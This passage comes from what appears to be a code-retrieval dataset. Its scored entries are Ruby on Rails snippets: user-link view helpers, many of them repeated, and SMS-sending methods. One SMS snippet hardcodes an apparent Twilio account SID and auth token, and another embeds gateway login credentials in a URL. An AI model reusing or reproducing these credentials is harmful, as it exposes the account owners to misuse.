link_to_member\n\t\t\t[:content_method, :title_method].each{|opt| options.delete(opt)} \n\t\t\tlink_to_login_with_IP content_text, options\n\t\tend\n\tend", "title": "" }, { "docid": "b2d4ee14e70a3b6537134a9953cfba7c", "score": "0.5983219", "text": "def link_to_user(user)\n if user.is_a?(User)\n name = raw(user.username)\n if user\n link_to name, :controller=>'users', :action=>'show', :id=>user\n else\n name\n end\n else\n raw(user.to_s)\n end\n end", "title": "" }, { "docid": "4a7e96abc0dc56d6eaa7979249e0b236", "score": "0.59657705", "text": "def link_to\n h.link_to object.name, h.user_path(object)\n end", "title": "" }, { "docid": "3f6d6c3b64b9742ec652f09173161630", "score": "0.5960894", "text": "def user_link(user, name=nil)\n begin\n name ||= h(user.unique_text_name)\n user_id = user.is_a?(Fixnum) ? user : user.id\n link_to(name, :controller => 'observer', :action => 'show_user', :id => user_id)\n rescue\n (user || name).to_s\n end\n end", "title": "" }, { "docid": "3f6d6c3b64b9742ec652f09173161630", "score": "0.5960894", "text": "def user_link(user, name=nil)\n begin\n name ||= h(user.unique_text_name)\n user_id = user.is_a?(Fixnum) ? user : user.id\n link_to(name, :controller => 'observer', :action => 'show_user', :id => user_id)\n rescue\n (user || name).to_s\n end\n end", "title": "" }, { "docid": "3f6d6c3b64b9742ec652f09173161630", "score": "0.5960894", "text": "def user_link(user, name=nil)\n begin\n name ||= h(user.unique_text_name)\n user_id = user.is_a?(Fixnum) ? user : user.id\n link_to(name, :controller => 'observer', :action => 'show_user', :id => user_id)\n rescue\n (user || name).to_s\n end\n end", "title": "" }, { "docid": "1c59188077609079f5b7bfca86dd0248", "score": "0.5959112", "text": "def link_to_user(user, options = {}, &block)\n name = yield(user) if block\n options[:class] ||= 'user-link'\n options[:title] ||= \"#{user.name}'s person page\"\n link_to (name || user.name), user_url(user), :title => options[:title], :class => options[:class]\n end", "title": "" }, { "docid": "f4bd968aa2fc1d461d8abd2f1bbacc1b", "score": "0.5958607", "text": "def link_to_mentioned_user(login)\n result[:mentioned_usernames] |= [login]\n\n url = base_url.dup\n url << \"/\" unless %r{[/~]\\z}.match?(url)\n\n \"<a href='#{url << login}'>\" \\\n \"@#{login}\" \\\n \"</a>\"\n end", "title": "" }, { "docid": "95a2e1a6dd3770b1fe1add1dba3f92e0", "score": "0.59469104", "text": "def username_link(user)\n link_to h(user.username) ,user_path(user) ,:class=>\"username_link\"\n end", "title": "" }, { "docid": "9140d2aeac60d57b43221ee86ae76a09", "score": "0.593276", "text": "def link_to\n h.link_to object.email, h.edit_admin_user_path(object)\n end", "title": "" }, { "docid": "c3039342d599f7ad4a4a0e3747e69b64", "score": "0.59276277", "text": "def user_link(text, user = nil, html_options = nil)\n if user.nil?\n user = text\n text = user.name\n elsif user.is_a?(Hash)\n html_options = user\n user = text\n text = user.name\n end\n\n text = h(text)\n text = text.gsub(\" \", \"<wbr> \")\n text = text.split.collect {|i| i.capitalize}.join(' ')\n\n link_to(text.html_safe, user, html_options)\n end", "title": "" }, { "docid": "a53b1bc5368f30560a7d6792f7f684a4", "score": "0.5878838", "text": "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :email, :title_method => :email, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "title": "" }, { "docid": "2d0aae78f3ec602992da08a24c304c73", "score": "0.58636695", "text": "def link_to_user(user, options={ })\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "title": "" }, { "docid": "6b62c422e844a88b2c47ca2906cb2133", "score": "0.58608747", "text": "def user_link_limit(text, user = nil, html_options = nil)\n if user.nil?\n user = text\n text = user.name\n elsif user.is_a?(Hash)\n html_options = user\n user = text\n text = user.name\n end\n\n # limit name length\n text = proper_case(text)\n text = limit_url_length(text) \n link_to(text.html_safe, user, html_options)\n end", "title": "" }, { "docid": "7bcb413eeeb63f12780e57a78953ace0", "score": "0.58566236", "text": "def show\n @user = User.find(params[:id] ? params[:id] : current_user.id)\n\n @users = User.all\n @links_title = \"Další uživatelé\"\n @links = []\n for user in @users\n if (user != @user)\n @links.push([user.username, user_path(user)])\n end\n end\n end", "title": "" }, { "docid": "9f108d3416a854d3141456020d0b5c47", "score": "0.5851788", "text": "def friend_link(user, target)\n \n # User not logged in\n if user.blank?\n if MuckFriends.configuration.enable_following\n key = 'login_or_sign_up_to_follow'\n elsif MuckFriends.configuration.enable_friending\n key = 'login_or_sign_up_to_friend'\n else\n return ''\n end\n return wrap_friend_link(I18n.t(\"muck.friends.#{key}\", :login => link_to(t('muck.friends.login'), login_path), :signup => link_to(t('muck.friends.signup'), signup_path)))\n end\n \n return '' if target.blank?\n return '' if user == target\n \n dom_id = make_id(user, target)\n \n if MuckFriends.configuration.enable_friending\n if user.friend_of?(target)\n return wrap_friend_link(link_to( I18n.t('muck.friends.stop_being_friends_with', :user => target.display_name), user_friend_path(user, target), :class => 'ajax-delete'), dom_id)\n elsif user.following?(target)\n return wrap_friend_link( I18n.t('muck.friends.friend_request_pending', :link => link_to(I18n.t('muck.friends.delete'), user_friend_path(user, target), :class => 'ajax-delete')), dom_id)\n end\n elsif MuckFriends.configuration.enable_following\n if user.following?(target)\n return wrap_friend_link(link_to( I18n.t('muck.friends.stop_following', :user => target.display_name), user_friend_path(user, target), :class => 'ajax-delete'), dom_id)\n end\n end\n \n if MuckFriends.configuration.enable_friending && user.followed_by?(target)\n return wrap_friend_link(link_to( I18n.t('muck.friends.acccept_friend_request', :user => target.display_name), user_friends_path(user, :id => target), :class => 'ajax-update'), dom_id)\n end\n \n if MuckFriends.configuration.enable_following\n wrap_friend_link(link_to( I18n.t('muck.friends.start_following', :user => target.display_name), user_friends_path(user, :id => target), :class => 'ajax-update'), dom_id)\n elsif MuckFriends.configuration.enable_friending\n wrap_friend_link(link_to( I18n.t('muck.friends.friend_request_prompt', :user => target.display_name), user_friends_path(user, :id => target), :class => 'ajax-update'), dom_id)\n end\n \n end", "title": "" }, { "docid": "d30cb4e7cc32306b800a9b1b97757d36", "score": "0.58501977", "text": "def user_options_link\n if logged_in?\n render 'layouts/user_menu'\n else\n link_to register_path do\n glyphicon = content_tag :span, nil, class: 'glyphicon glyphicon-check', :'aria-hidden' => true\n glyphicon + 'Register'\n end\n end\n end", "title": "" }, { "docid": "23edacd754c546d122a2d11a74ae0a44", "score": "0.58486176", "text": "def link_to_like_or_unlike\n return unless helpers.current_user\n\n options = current_user_likes? ? like_options : unlike_options\n\n like_or_unlike_link(options:)\n end", "title": "" }, { "docid": "abc9ac0ed0bfd9160411c947e5f957ae", "score": "0.58483326", "text": "def link_to_current_user(options={})\n if current_user\n link_to_user current_user, options\n end\n end", "title": "" }, { "docid": "9adf57c0d746b18b5964b85812d4e2c3", "score": "0.584577", "text": "def add_link(ldap_user)\n if app_user?(ldap_user)\n app_user = User.find_by_ldap_uid(ldap_user.ldap_uid)\n link_to('Edit', edit_admin_user_path(app_user), :title => \"Click to edit this existing user.\")\n else\n link_to(ldap_user.ldap_uid, new_admin_user_path(:ldap_uid => ldap_user.ldap_uid), :title => \"Click to add this user\")\n end\n end", "title": "" }, { "docid": "9d37981fdf1f24a2f0abf22c9e4712e7", "score": "0.58432096", "text": "def add_photo_link(user)\n if user == current_user\n link_to \"Add Photo!\", new_user_photo_path(@user), class: \"btn danebook-button\"\n else\n \"&nbsp\".html_safe\n end\n end", "title": "" }, { "docid": "fa4411438b0aa7573c28fa53608db1e0", "score": "0.58398926", "text": "def show_edit_cover_icon usr\n if usr.is_a?(User) && is_owner?(usr)\n link_to image_tag('rsz_photo_camera.png', class: 'camera'), edit_user_path(@user), title: 'Change Cover Photo', class: 'img-btn' \n else\n link_to image_tag('pxb_map_icon.png', class: 'camera'), '#mapDialog', title: 'View Map', 'data-toggle'=>\"modal\", id: 'map_icon', \n class: 'img-btn' if business_with_address?(usr) && controller_name != 'users'\n end\n end", "title": "" }, { "docid": "c30adf18af49b9848adb9c47779b5279", "score": "0.583369", "text": "def my_site_link\r\n content_tag(:li, link_to(\"My Store\", @user.local_user_path)) if @user.is_business? || @user.is_member?\r\n end", "title": "" }, { "docid": "e93e2d3a1985602f496165376cfd1ae5", "score": "0.58310395", "text": "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :email, :title_method => :email, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n case user.class.to_s\n when \"User\" then return link_to(h(content_text), user_path(user), options.reverse_merge!(:rel => \"nofollow\"))\n when \"Organisation\" then return link_to(h(content_text), organisation_path(user), options)\n end\n end", "title": "" }, { "docid": "abf914e258f0035747d748c861adc91b", "score": "0.5824713", "text": "def profile_link_absorber(user_holder_id)\n UserHolder.find_by_id(user_holder_id).profile\n end", "title": "" }, { "docid": "8dca255e3484982923d063e1bc19c6b6", "score": "0.5800645", "text": "def add_user_originator_link\n originator_links[Spree.user_class.to_s] = {\n new_tab: true,\n href_type: :user,\n translation_key: 'admin.store_credits.user_originator'\n }\n end", "title": "" }, { "docid": "62fa1fa55a308f8cabe0771853a682e5", "score": "0.57996494", "text": "def signup_link\n if object.external_signup?\n h.content_tag(:form, method: 'get', action: h.signup_redirect_url(object, subdomain: subdomain)) do\n \"#{adpartner_field}#{signup_button}\".html_safe\n end\n # h.link_to(h.signup_redirect_url(object, subdomain: subdomain), class: 'btn btn-default btn-sm btn-warning event_btn_details') do\n # h.t(:ectern)\n # end\n else\n if object.free_seats?\n h.content_tag(:form, method: 'post', action: h.signup_event_url(object, subdomain: subdomain)) do\n \"#{adpartner_field}#{signup_button}\".html_safe\n end\n else\n button_fully_booked\n end\n end\n end", "title": "" }, { "docid": "dfa48aebcd885219471d02cedba3e0bc", "score": "0.57981396", "text": "def href\n 'users/' + identifier if identifier\n end", "title": "" }, { "docid": "19e1b95a69ba11cffbbff858cb09bd32", "score": "0.57962185", "text": "def adoption_url(obj, txt, up)\n path_options = {\"#{obj.class.name.downcase}\" => {up_for_adoption: up}}\n if Extension === obj\n path_options[:username] = obj.owner_name\n end\n\n link_to(polymorphic_path(obj, path_options), method: :patch) do\n \"<i class=\\\"fa fa-heart\\\"></i> #{txt}\".html_safe\n end\n end", "title": "" }, { "docid": "43a15f410446dc8a0ff7bfacb1424afb", "score": "0.57936794", "text": "def link_avatar_to_user(user, size = 32, **kwargs)\n link_to(user_path(user), :style => 'text-decoration: none') do\n avatar_tag(user, size, :class => 'img-rounded', **kwargs)\n end\n end", "title": "" }, { "docid": "dc924f5a87cfff1bb0c24a26e95b7561", "score": "0.57886386", "text": "def link_activity_user activity\n return \"[system]\" unless activity.user\n activity.user.decorate.name_linking_to_email\n end", "title": "" }, { "docid": "33907d5266aadb12297a80da2deda2b5", "score": "0.578596", "text": "def username\n link_to current_user.username + \"(\" + current_user.fullname + \")\", current_user\n end", "title": "" }, { "docid": "837f061e3200de1f6fe09b06f3ca960b", "score": "0.5784377", "text": "def link_to_current_user(options={})\n if current_user\n link_to_user current_user, options\n else\n content_text = options.delete(:content_text) || 'not signed in'\n # kill ignored options from link_to_user\n [:content_method, :title_method].each{|opt| options.delete(opt)} \n link_to_login_with_IP content_text, options\n end\n end", "title": "" }, { "docid": "837f061e3200de1f6fe09b06f3ca960b", "score": "0.5784377", "text": "def link_to_current_user(options={})\n if current_user\n link_to_user current_user, options\n else\n content_text = options.delete(:content_text) || 'not signed in'\n # kill ignored options from link_to_user\n [:content_method, :title_method].each{|opt| options.delete(opt)} \n link_to_login_with_IP content_text, options\n end\n end", "title": "" }, { "docid": "837f061e3200de1f6fe09b06f3ca960b", "score": "0.5784377", "text": "def link_to_current_user(options={})\n if current_user\n link_to_user current_user, options\n else\n content_text = options.delete(:content_text) || 'not signed in'\n # kill ignored options from link_to_user\n [:content_method, :title_method].each{|opt| options.delete(opt)} \n link_to_login_with_IP content_text, options\n end\n end", "title": "" }, { "docid": "837f061e3200de1f6fe09b06f3ca960b", "score": "0.5784377", "text": "def link_to_current_user(options={})\n if current_user\n link_to_user current_user, options\n else\n content_text = options.delete(:content_text) || 'not signed in'\n # kill ignored options from link_to_user\n [:content_method, :title_method].each{|opt| options.delete(opt)} \n link_to_login_with_IP content_text, options\n end\n end", "title": "" }, { "docid": "837f061e3200de1f6fe09b06f3ca960b", "score": "0.5784377", "text": "def link_to_current_user(options={})\n if current_user\n link_to_user current_user, options\n else\n content_text = options.delete(:content_text) || 'not signed in'\n # kill ignored options from link_to_user\n [:content_method, :title_method].each{|opt| options.delete(opt)} \n link_to_login_with_IP content_text, options\n end\n end", "title": "" }, { "docid": "d1ffb7062738dca0a52ed951ae72693c", "score": "0.57839733", "text": "def to_s\n \"<a href=\\\"/users/#{self.id}\\\">\".html_safe + self.name + \"</a>\".html_safe\n end", "title": "" }, { "docid": "c86ee53e212c9421a39893039d61f66f", "score": "0.5783522", "text": "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "title": "" }, { "docid": "c86ee53e212c9421a39893039d61f66f", "score": "0.5783522", "text": "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "title": "" }, { "docid": "c86ee53e212c9421a39893039d61f66f", "score": "0.5783522", "text": "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "title": "" }, { "docid": "c86ee53e212c9421a39893039d61f66f", "score": "0.5783522", "text": "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "title": "" }, { "docid": "c86ee53e212c9421a39893039d61f66f", "score": "0.5783522", "text": "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "title": "" }, { "docid": "bde5ca512e50112cf1d144a4b863592a", "score": "0.57589173", "text": "def busy_link\n if current_user.busy\n link_to 'Set Available', busy_user_path(current_user), \n \t\t\t:method => \"post\", :class => \"available\"\n\t\telse\n \t\tlink_to 'Set Busy', busy_user_path(current_user),\n \t\t :method => \"post\", :class => \"busy\"\n\t\tend\n\tend", "title": "" }, { "docid": "ae6a0113b720b43912df06b0193692aa", "score": "0.57569677", "text": "def profile_link(user, link_text = nil, options = {})\n if user\n link_text ||= user.username\n link_to(\n link_text,\n user_profile_path(id: user.username),\n { title: \"#{possessive(user.username)} profile\" }.merge(options)\n )\n else\n \"Unknown\"\n end\n end", "title": "" }, { "docid": "30ed9c7dfa79321e1195d93984655d29", "score": "0.5755385", "text": "def link_to_current_user(options={ })\n if current_user\n link_to_user current_user, options\n else\n content_text = options.delete(:content_text) || 'not signed in'\n # kill ignored options from link_to_user\n [:content_method, :title_method].each { |opt| options.delete(opt) }\n link_to_login_with_IP content_text, options\n end\n end", "title": "" }, { "docid": "1af789246a7b9333e69e88c1fe686400", "score": "0.5738314", "text": "def link_to_current_user(options={})\n if current_user\n link_to_user current_user, options\n else\n content_text = options.delete(:content_text) || 'not signed in'\n # kill ignored options from link_to_user\n [:content_method, :title_method].each{|opt| options.delete(opt)}\n link_to_login_with_IP content_text, options\n end\n end", "title": "" }, { "docid": "1af789246a7b9333e69e88c1fe686400", "score": "0.5738314", "text": "def link_to_current_user(options={})\n if current_user\n link_to_user current_user, options\n else\n content_text = options.delete(:content_text) || 'not signed in'\n # kill ignored options from link_to_user\n [:content_method, :title_method].each{|opt| options.delete(opt)}\n link_to_login_with_IP content_text, options\n end\n end", "title": "" }, { "docid": "1af789246a7b9333e69e88c1fe686400", "score": "0.5738314", "text": "def link_to_current_user(options={})\n if current_user\n link_to_user current_user, options\n else\n content_text = options.delete(:content_text) || 'not signed in'\n # kill ignored options from link_to_user\n [:content_method, :title_method].each{|opt| options.delete(opt)}\n link_to_login_with_IP content_text, options\n end\n end", "title": "" }, { "docid": "c1403453c1e0d0e08f1329bbdf7f4a7c", "score": "0.57349193", "text": "def user(display_text, username, user_id = nil)\n %Q{<a href=\"/#{username}\" class=\"user\">#{display_text}</a>}\n end", "title": "" }, { "docid": "89269ba19f764fa1a9ce62cbff56fe10", "score": "0.57312334", "text": "def link_to_user(post)\n post.update_attributes(user_id: self.id)\n post.comments.with_ig_username(self.ig_username).with_no_user_id.find_each { |comment| comment.update_attributes(user_id: self.id) }\n post.likes.with_ig_username(self.ig_username).with_no_user_id.find_each { |like| like.update_attributes(user_id: self.id) }\n end", "title": "" }, { "docid": "03eb827eabd99a624afb7ecc49d8f68a", "score": "0.5722467", "text": "def author_link(options)\n text = if options[:avatar]\n avatar = h.image_tag h.gravatar_icon(author_email), class: \"avatar s16\", width: 16\n \"#{avatar} #{author_name}\"\n else\n author_name\n end\n team_member = @project.try(:team_member_by_name_or_email, author_name, author_email)\n\n if team_member.nil?\n h.mail_to author_email, text.html_safe, class: \"commit-author-link\"\n else\n h.link_to text, h.project_team_member_path(@project, team_member), class: \"commit-author-link\"\n end\n end", "title": "" }, { "docid": "1351a6cc9fa96e9a65378e7ac3296ad9", "score": "0.57221776", "text": "def link_to_creator\n email = creator_email\n\n unless email.blank?\n return link_to admin_user_path(creator.id) do\n concat(fa_icon(:\"envelope-o\"))\n concat(' ')\n concat(email)\n end\n end\n ''\n end", "title": "" }, { "docid": "42ca9c8c8862a1e8c0d30f3f5837a84f", "score": "0.5718992", "text": "def user_avatar_widget(user, size = 90, time = nil, attrs = {}, &block)\n attrs = {class: '', include_status: false, img_class: ''}.merge(attrs)\n attrs[:class] << ' user_avatar_widget_styled ' if attrs[:include_status]\n attrs[:img_class] << ' current-user-avatar ' if user.id == current_user.id\n link_to(user_profile_url(user, time), class: \"avatar_widget #{attrs[:class]}\", title: user.full_name(false, time), 'data-id' => user.id) do\n media_avatar_image(user.avatar_url(time), size, {alt: user.full_name(false, time), class: attrs[:img_class]}) + (block ? capture(&block) : '') + (attrs[:include_status] ? user.decorate.the_online_status : '')\n end\n end", "title": "" }, { "docid": "95843d593ad9dec16771e416decb50d4", "score": "0.5708768", "text": "def display_edit_link_for_user(user)\n if user.type.eql?'InstituteAdmin'\n display_link(\"Edit\",edit_institute_admin_path(user),:update,User)\n elsif user.type.eql?'CenterAdmin'\n display_link(\"Edit\",edit_center_admin_path(user),:update,User)\n else\n display_link(\"Edit\",edit_user_path(user),:update,User)\n end\n end", "title": "" }, { "docid": "decaad02a027e8646a1e3b6b21e3fe1f", "score": "0.5708268", "text": "def show\n allow :get\n expires_in 60.seconds\n\n result = @kavlan.users(params[:user_id])\n\n result['links'] = links_for_item(result)\n\n render_result(result)\n end", "title": "" }, { "docid": "0cc555e8542ce98a4cbe4e88e8bdc432", "score": "0.5701886", "text": "def link_to_create_asset(link_label, content_type)\n if current_user\n link_to link_label, {:action => 'new', :controller => 'assets', :content_type => content_type}, :class=>\"create_asset\"\n else \n link_to link_label, {:action => 'new', :controller => 'user_sessions', :redirect_params => {:action => \"new\", :controller=> \"assets\", :content_type => content_type}}, :class=>\"create_asset\"\n end\n end", "title": "" }, { "docid": "ce90111d552fa3aa188ca4dff3b551a1", "score": "0.5700963", "text": "def photo_for(user, size=:thumb)\n if user.profile_photo\n src = user.profile_photo.public_filename(size)\n else\n src = 'user_placerholder.png'\n end\n link_to(image_tag(src), user_path(user))\nend", "title": "" }, { "docid": "bf2463e1a1dfc59ab5c8b8d6a6b7e8d5", "score": "0.5696367", "text": "def timesheethelp_owner( timesheet )\n return link_to( timesheet.user.name, user_path( timesheet.user ) )\n end", "title": "" }, { "docid": "0d6c7c8f09eef5b98503f2f21e99fb03", "score": "0.5687503", "text": "def user_nav_link (options)\n logger.debug2 \"users_helper.user_nav_link: input options = #{options}\"\n prefix = options.delete(:prefix)\n symbol = case prefix\n when 'tabs' then :tab\n when 'deal_status' then :status\n when 'deal_direction' then :direction\n else\n logger.debug2 \"error in users/_user_nav_links. user_nav_link must be called with prefix tabs, deal_status or deal_direction\"\n end\n page_values = options.delete(:page_values)\n page_value = page_values[symbol]\n array_value = options.delete(:array_value)\n # options.delete(:array_values) # only :array_value is in options hash\n raise \"found :array_values\" if options.has_key?(:array_values) # todo: remove\n if array_value == page_value\n # inactive link - current tab or current filter value\n t \".#{prefix}_#{page_value}\"\n else\n # active link - link to new tab or new filter value\n options = page_values.clone\n options[:id] = @user2.id\n options[symbol] = array_value\n key = \".#{prefix}_#{array_value}\"\n logger.debug2 \"link key = #{key}, link options = #{options}\"\n link_to (t key), user_path(options)\n end\n end", "title": "" }, { "docid": "05c235158358dcf799342bb3ea4a9eeb", "score": "0.568528", "text": "def create_user_link(request)\n start.uri('/api/identity-provider/link')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" } ]
d1b411df980247901686bbce08dcc5c1
Sends an SMS message
[ { "docid": "3c3bda6b0f38ed4ffb417adac64afff4", "score": "0.0", "text": "def send_message_with_http_info(sms_message, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MessagesApi.send_message ...\"\n end\n # verify the required parameter 'sms_message' is set\n if @api_client.config.client_side_validation && sms_message.nil?\n fail ArgumentError, \"Missing the required parameter 'sms_message' when calling MessagesApi.send_message\"\n end\n # resource path\n local_var_path = \"/message/send\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;charset=UTF-8'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(sms_message)\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SendMessageResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MessagesApi#send_message\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "a67696c6feeb9fe5122bca32f9912e74", "score": "0.80277115", "text": "def marcatel_send_sms!(phone_number, message)\n marcatel_client.insert_message! phone_number, message\n end", "title": "" }, { "docid": "30818167a935a8a3a4aaca4bc52dc3db", "score": "0.8010367", "text": "def sms_send\n end", "title": "" }, { "docid": "295b6465d0204d63c9892bb77ae2786a", "score": "0.7950215", "text": "def send_message message\n Rails.logger.info \"Sending SMS to #{phone_number}: #{message}\"\n end", "title": "" }, { "docid": "0628e8792c38657b40f525dd47830b6b", "score": "0.7906907", "text": "def send_sms(to, message = \"\")\n response = HTTParty.get(@uri+\"&to=#{to}&text=#{message}\")\n response.body\n end", "title": "" }, { "docid": "76178098e02318edddf6ecb8fa3f814e", "score": "0.78644", "text": "def send_sms(telephone, text_msg)\n\n #api = Nuntium.new \"service_url\", \"account_name\", \"application_name\", \"application_password\"\n api = Nuntium.new Settings.alert_sms_service_url, Settings.alert_sms_account_name, Settings.alert_sms_application_name, Settings.alert_sms_application_password\n\n from_tel = Settings.alert_sms_from_tel\n to_tel = \"sms://\"+telephone\n\n sms_message = {\n :from => from_tel,\n :to => to_tel,\n :body => text_msg\n }\n\n response = api.send_ao sms_message\n end", "title": "" }, { "docid": "c95558db6ce582ca22d4d3dad552cf0e", "score": "0.7821555", "text": "def send_sms message, isd_code, mobile_no\n\t\trequire 'net/http'\n\t\tsms_api_url = \"http://193.105.74.159/api/v3/sendsms/plain\"\n\t\tsms_api_params = URI.encode(\"user=kapsystem&password=kap@user&sender=KAPNFO&SMSText=#{message}&type=longsms&GSM=#{isd_code}#{mobile_no}\")\n\t\turl = URI.parse(sms_api_url + \"?\" + sms_api_params)\n\t\treq = Net::HTTP::Get.new(url.to_s)\n\t\tres = Net::HTTP.start(url.host, url.port) {|https|\n\t\t\thttps.request(req)\n\t\t}\n\t\tRails.logger.debug \"SMS Response:\" + res.body\n\tend", "title": "" }, { "docid": "98e17722f1ca400165220de43d94e21b", "score": "0.7813429", "text": "def send(number, body)\n token = SmsSender.get_token(CLIENT_ID, CLIENT_SECRET, RestClient)\n SmsSender.send_sms(token, number, body, RestClient)\n end", "title": "" }, { "docid": "6f647222168fee6a4d9dc9112b647826", "score": "0.7808318", "text": "def send_message(message)\n uuid = (Digest::CRC32.hexdigest @uuid.generate).unpack('U*').collect {|x| sprintf '%02X', x}.join\n\n if message.utf_8\n message.to_hex_be\n q = {:type => 'longunicode'}\n else\n q = {:type => 'LongSMS'}\n end\n\n options = {\n :number => message.recipient,\n :message => message.text,\n :ownnum => message.sender\n }\n options.merge!(@extra_options) unless @extra_options.nil?\n options.merge!(:mess_id => uuid) if options[:delivery]\n options.merge!(:user => @uname, :pass => @passwd)\n\n resp = (post 'http://smsc5.routotelecom.com/NewSMSsend', :extra_query => options.merge(q))\n process_response_code(resp) ? (@sent_message_ids << uuid; uuid) : (raise ErrorDuringSend, 'error response processing not implemented yet')\n end", "title": "" }, { "docid": "969a9a04f2510c5897868634fe54b06e", "score": "0.7782915", "text": "def deliver sms\n response = nexmo.send_message(\n from: sms.from,\n to: sms.to,\n text: sms.text\n )\n\n # If sending the SMS was a success then store\n # the message ID on the SMS record\n if response['messages'].first['status'] == '0'\n sms.update_attributes(\n message_id: response['messages'].first['message-id']\n )\n end\n end", "title": "" }, { "docid": "a7ee6c691946d95ea35ea1e513f2e363", "score": "0.77789897", "text": "def sendtext(number, message)\n fromnum = \"+16174019301\"\n twilio_sid = \"ACee7b5e78e45c9f9f4197f3560eead6cb\"\n twilio_token = \"d9fb0d0cf2185ff5c4372e150885d471\"\n twilio_client = Twilio::REST::Client.new twilio_sid, twilio_token\n twilio_client.account.sms.messages.create(\n :from => fromnum,\n :to => number,\n :body => message\n )\n end", "title": "" }, { "docid": "7c807957be32cde12074f42f5088e85f", "score": "0.776247", "text": "def send_sms(phone, text, _args = {})\n @logger.send(@severity, \"[SMS] #{phone}: #{text}\")\n respond_with_status :success\n end", "title": "" }, { "docid": "55adaeb3cfddcb4b5dd4f40275de6ffc", "score": "0.773846", "text": "def send_message(number, message)\n response = $sms.send_message({\n from: '16477252253',\n to: phone_number,\n text: message\n })\n \n if response.success?\n puts \"Sent message #{response.message_id}\"\n elsif response.failure?\n raise response.error\n end\n end", "title": "" }, { "docid": "40e2d0dba7449d56ea5e350b7a103d78", "score": "0.7714804", "text": "def send_sms(params)\n from = params[:From]\n body = params.key?(:URL) ? params[:Body] + params[:URL] : params[:Body]\n to = params[:To]\n # returns a twilio API message object\n # refer to docs: https://www.twilio.com/docs/sms/api/message-resource#message-properties\n @client.messages.create(\n from: from,\n body: body,\n to: to\n )\n end", "title": "" }, { "docid": "11437bf9460cbdbedafb98f6e8cbac06", "score": "0.7695302", "text": "def sms_send(phones, message)\n request = {\n sender: 'Qjob',\n phones: phones,\n body: message,\n transliterate: '0'\n }\n\n send_request('sms/send', 'post', request)\n end", "title": "" }, { "docid": "07b8965db7d99d6a308c9095ad31a02a", "score": "0.7671107", "text": "def send_sms(msg)\n\t\t\ts = msg.recipient.phone_number\n\t\t\tt = msg.text\n\t\t\t\n\t\t\t# allow RubySMS to notify the router\n\t\t\t# this is a giant ugly temporary hack\n\t\t\tsuper\n\t\t\t\n\t\t\t# init the message log for\n\t\t\t# this session if necessary\n\t\t\t@msg_log[s] = []\\\n\t\t\t\tunless @msg_log.has_key?(s)\n\t\t\t\n\t\t\t# add the outgoing message to the log\n\t\t\tmsg_id = @msg_log[s].push\\\n\t\t\t\t[t.object_id.abs.to_s, \"out\", t]\n\t\tend", "title": "" }, { "docid": "dfc0b6742d60fd2fe5005a1bb92876d7", "score": "0.76587486", "text": "def send_sms(to, text, api_options = {})\n raise NotImplementedError.new('Implement send_sms(to, text, api_options = {}) in your client.')\n end", "title": "" }, { "docid": "36000e6ff2313ac1870a7290ed65b641", "score": "0.7658443", "text": "def send_sms(phone, text)\n resp = sns_client.publish(phone_number: phone, message: text)\n\n if resp.error.nil? && resp.message_id\n respond_with_status :success\n else\n respond_with_status :unknown_failure\n end\n end", "title": "" }, { "docid": "aa230d2a8d086ce2669f025ea134c95e", "score": "0.7650002", "text": "def send_sms(params)\n if !enabled?\n return nil\n end\n\n from = params[:From]\n body = params.key?(:URL) ? params[:Body] + params[:URL] : params[:Body]\n to = params[:To]\n # returns a twilio API message object\n # refer to docs: https://www.twilio.com/docs/sms/api/message-resource#message-properties\n begin\n client\n client.messages.create(\n from: from,\n body: body,\n to: to\n )\n rescue => error\n Rails.logger.error(\"send 